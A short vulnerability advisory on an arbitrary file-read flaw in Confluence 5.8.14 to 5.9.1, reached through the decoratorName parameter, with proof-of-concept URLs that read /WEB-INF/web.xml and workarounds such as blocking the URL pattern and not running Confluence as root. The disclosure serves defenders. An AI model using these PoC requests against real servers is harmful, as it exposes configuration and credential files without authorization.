The following URL is vulnerable to Insecure Direct Object Reference, allowing any authenticated user to read configuration files from the application such as the content of webapp directory in confluence.

http://<server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

Where <FILE> any file readable by the user who runs the Confluence instance is accessible through Confluence itself.

PoC URL:
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
http://<server>/admin/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml

This has been verified in confluence 5.9.1, 5.8.15, and 5.8.14

Workarounds

• Do not run Confluence as root/administrator. We always recommend creating a dedicated user account to run Atlassian products. You can limit the impact of this bug by restricting what the app user account can access.
• Block URLs that match this pattern using proxy or load balancer rules.